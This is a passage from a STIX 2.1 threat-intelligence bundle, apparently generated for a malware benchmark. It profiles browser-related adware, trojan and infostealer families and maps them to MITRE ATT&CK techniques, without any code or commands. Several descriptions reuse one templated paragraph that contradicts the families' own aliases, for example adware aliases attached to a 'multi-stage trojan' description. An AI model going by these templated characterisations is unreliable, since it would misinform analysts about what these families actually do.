      "description": "Brosafe (classified in antivirus detection telemetry under designations including Trojan:Win32/Brosafe, Trojan.Win32.Brosafe, and Win32/Brosafe) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Brosafe executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.BroSafe",
        "Adware.BroSafe",
        "BroSafe Adware",
        "Trojan:Win32/Brosafe",
        "Trojan.Win32.Brosafe",
        "Win32/Brosafe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brosafe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brosafe"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16a05499-3457-5b49-9f45-a51af7f9753a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52a54f32-3f80-5eab-bb44-fb41b15d0ebd",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brosafe exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036: Masquerading (Disguising adware consent forms)",
      "description": "MITRE ATT&CK Technique T1036 (Masquerading (Disguising adware consent forms)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036",
          "url": "https://attack.mitre.org/techniques/T1036/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85cf8a2a-06a2-52a3-a6c1-a5d9ef501a59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52a54f32-3f80-5eab-bb44-fb41b15d0ebd",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brosafe exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6009a782-67ec-5805-b4ce-6cfd2a5f1f24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52a54f32-3f80-5eab-bb44-fb41b15d0ebd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brosafe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83c82c71-5051-5394-bb21-b8b716227aec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Broskod",
      "description": "Broskod (classified in antivirus detection telemetry under designations including Ransom:Win32/Broskod, Ransom.Win32.Broskod, and Win32/Broskod) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Broskod executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Broskod",
        "Downloader.Broskod",
        "Win32/Broskod",
        "Ransom:Win32/Broskod",
        "Ransom.Win32.Broskod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Broskod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/broskod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8849899c-fcbf-599c-a0aa-af7a5e4bb9b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83c82c71-5051-5394-bb21-b8b716227aec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broskod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e42e7156-f1f9-5de1-9278-31baa60c9ec1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83c82c71-5051-5394-bb21-b8b716227aec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broskod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99f33b8a-f3b0-5513-ac23-192fb350d99d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83c82c71-5051-5394-bb21-b8b716227aec",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broskod exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0f47dd6-e3f4-5b4f-8d03-5e041ee521b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browseban",
      "description": "Browseban (classified in antivirus detection telemetry under designations including Trojan:Win32/Browseban, Trojan.Win32.Browseban, and Win32/Browseban) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Browseban executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Browseban",
        "Trojan.Win32.Browseban",
        "Win32/Browseban"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browseban",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browseban"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d39beb56-077b-53e4-92d6-8098f26e5db7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f47dd6-e3f4-5b4f-8d03-5e041ee521b4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browseban exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d8a37ba-2083-5238-8e7d-37f80dd74fe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f47dd6-e3f4-5b4f-8d03-5e041ee521b4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browseban exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8355c50f-bc55-508b-8516-d18a6bf4873f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f47dd6-e3f4-5b4f-8d03-5e041ee521b4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browseban exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb7ef92f-65dd-5331-a5d6-93658c180823",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0f47dd6-e3f4-5b4f-8d03-5e041ee521b4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browseban exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b41dc016-6332-53a5-a3d8-a4ce6bb9348e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browsecx",
      "description": "Browsecx (classified in antivirus detection telemetry under designations including Trojan:Win32/Browsecx, Trojan.Win32.Browsecx, and Win32/Browsecx) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Browsecx executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.BrowseCX",
        "PUP.BrowseCX",
        "BrowserModifier:Win32/BrowseCX",
        "Trojan:Win32/Browsecx",
        "Trojan.Win32.Browsecx",
        "Win32/Browsecx"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browsecx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browsecx"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b63ad84-7442-5d09-9258-819458a364a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41dc016-6332-53a5-a3d8-a4ce6bb9348e",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsecx exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92519b81-72f0-5626-a075-9f24dc504e91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41dc016-6332-53a5-a3d8-a4ce6bb9348e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsecx exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d32b22a-dfcc-59cc-9dea-97c1e9dca6b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41dc016-6332-53a5-a3d8-a4ce6bb9348e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsecx exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd59c697-5de9-5c90-8a21-e4d29a83d2bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41dc016-6332-53a5-a3d8-a4ce6bb9348e",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsecx exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browsefox",
      "description": "BrowseFox (cataloged across security vendors under detections including Adware:Win32/BrowseFox, PUA:Win32/Browsefox, and PUP.Optional.BrowseFox) is an aggressive Windows adware family and browser hijacker active since 2014. Distributed almost exclusively through deceptive third-party software installers and freeware download portals, BrowseFox installs stealthy background helper services and browser extensions across Google Chrome, Mozilla Firefox, and Internet Explorer. Once embedded, BrowseFox intercepts web browsing traffic, injecting intrusive pop-up banners, sponsored search advertisements, and in-text coupon overlays into legitimate websites. In addition, it modifies browser default search engines and startup pages to route queries through affiliate advertising portals, generating illicit pay-per-click revenue while consuming system memory and degrading browsing performance. (Observed samples in benchmark: 73)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/BrowseFox",
        "PUA:Win32/Browsefox",
        "PUP.Optional.BrowseFox",
        "BrowseFox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browsefox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browsefox"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--640212be-1fc8-5ab4-a6eb-7f91c18dc614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsefox exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7396b8c1-10f4-533c-93bf-7bb114ab5165",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsefox exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad5c800b-ee5b-58fd-aaf3-67c1ff19faf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsefox exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7b1a0ac-d7bd-5419-8199-84cee71d1197",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsefox exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4eef9b6-5620-5f25-8389-10d0edde4c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4914df58-67f9-5ab8-ada9-167bd5f4f379",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browsefox exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browserio",
      "description": "Browserio (identified across antimalware engines as PUA:Win32/Browserio and Adware.Browserio) is an aggressive browser hijacker and adware program operating on Windows endpoints since 2015. Typically masquerading as an optimized web browser, media downloader, or format conversion utility, Browserio is distributed through pay-per-install (PPI) software networks, cracked software portals, and deceptive online advertisements. Once installed, Browserio forces modifications to user browser configurations across Google Chrome, Mozilla Firefox, and Microsoft Edge, altering default search engines, homepage settings, and new tab redirects to point to ad-revenue generation portals. Furthermore, Browserio injects sponsored hyperlinks and pop-under advertising into legitimate web pages, transmits user browsing telemetry to remote ad tracking servers, and installs unauthorized background extensions that persist across browser resets. (Observed samples in benchmark: 243)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Browserio",
        "Adware.Browserio",
        "Win32/Browserio",
        "Browserio Hijacker",
        "Browserio.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browserio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browserio"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c31993aa-e77f-51ed-b51b-96fbfeb0088b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserio exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e3bfd36-4e2c-5984-9e62-7c5c5abdf9fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserio exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c67e718-0d59-506a-8841-fb9bbe530a57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserio exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8aab00f-af2d-5da9-b18c-fd7af48413c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserio exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82a822d5-59ed-56ac-8eca-a6d8d6909d79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4001cebf-40ba-500b-8654-c259b5e5a9de",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserio exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e8bec61-4115-57e3-b6be-8d7b90b2a6cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browserpassview",
      "description": "Browserpassview (classified in antivirus detection telemetry under designations including PWS:Win32/Browserpassview, PWS.Win32.Browserpassview, and Win32/Browserpassview) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Browserpassview executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Browserpassview",
        "PWS.Win32.Browserpassview",
        "Win32/Browserpassview"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browserpassview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browserpassview"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdeeabc3-b67d-500f-a4dd-da2981971631",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e8bec61-4115-57e3-b6be-8d7b90b2a6cf",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpassview exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (The core function of the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24b11cb8-cfca-5457-88ff-64300eca1967",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e8bec61-4115-57e3-b6be-8d7b90b2a6cf",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpassview exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Often used in conjunction with this tool for full credential theft))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cf76a73-6888-5e4a-84df-4bbbac4ca698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e8bec61-4115-57e3-b6be-8d7b90b2a6cf",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpassview exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Executing the tool silently via CLI))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e298eb53-792a-5ec4-a1d1-008ab1ddf45a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Browserpwdstealer",
      "description": "Browserpwdstealer (classified in antivirus detection telemetry under designations including PWS:Win32/Browserpwdstealer, PWS.Win32.Browserpwdstealer, and Win32/Browserpwdstealer) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Browserpwdstealer executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Browserpwdstealer",
        "PWS.Win32.Browserpwdstealer",
        "Win32/Browserpwdstealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Browserpwdstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/browserpwdstealer"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--434a2c48-7d20-5851-98c0-7174cce0720a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e298eb53-792a-5ec4-a1d1-008ab1ddf45a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Browserpwdstealer exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (The primary objective))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89d5e972-4618-5c75-8bc3-d98835a2b3d0",
